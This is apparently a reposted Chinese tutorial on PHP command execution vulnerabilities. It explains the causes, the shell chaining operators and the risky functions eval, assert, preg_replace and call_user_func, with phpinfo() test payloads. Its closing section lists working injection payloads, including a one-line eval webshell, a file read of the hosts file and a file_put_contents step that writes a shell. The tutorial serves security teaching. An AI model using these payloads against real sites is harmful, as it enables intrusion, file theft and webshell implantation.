命令执行漏洞

命令执行定义

基本定义
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。
原理
程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec.passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

 

命令执行条件

两个条件
1.用户能够控制的函数输入
2.存在可以执行代码或者系统命令的危险函数
 

命令执行漏洞产生的原因

由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行
命令注入攻击中,Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。

命令执行漏洞带来的危害

1.继承Web服务程序的权限去执行系统命令(任意代码)或读写文件

2.反弹shell

3.控制整个网站甚至控制服务器进一步内网渗透

管道符号和通用命令符

管道符号
Linux
前面的执行完执行后面的

|是管道符,显示后面的执行结果

||当前面的执行出错时执行后面的
Windows
&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错,后面的也不执行

|直接执行后面的语句

ll前面出错执行后面的

通用命令符

command1 && command2                //command1执行成功才执行command2
command1 | command2                //只执行command2
command1 & command2                //command1和command2之间互相不影响

远程命令执行漏洞相关函数

在PHP下,允许命令执行的函数有:

eval()

assert()

preg_replace()

call_user_func()

$a($b)

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。

eval()
命令执行漏洞_第1张图片

 

payload eval.php?a=phpinfo();命令执行漏洞_第2张图片

 assert()命令执行漏洞_第3张图片

payload  assert.php?a=phpinfo()

命令执行漏洞_第4张图片

 preg_replace()

命令执行漏洞_第5张图片



payload   preg_replace.php?a=phpinfo()命令执行漏洞_第6张图片

 call_user_func()命令执行漏洞_第7张图片

 payload  call_user_func.php?a=assert&b=phpinfo()命令执行漏洞_第8张图片

远程命令执行漏洞的利用

远程命令执行漏洞有以下一些利用方式:

?a=@eval($_POST[666]);   //—句话木马
?a=print(_FILE_);                //获取当前绝对路径
?a=var_dump(file_get_contents('c\windows\system32\drivers\etc\hosts'));                //读取文件
?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
1 =shell.php&2=                        //写shell

你可能感兴趣的:(安全,php,linux)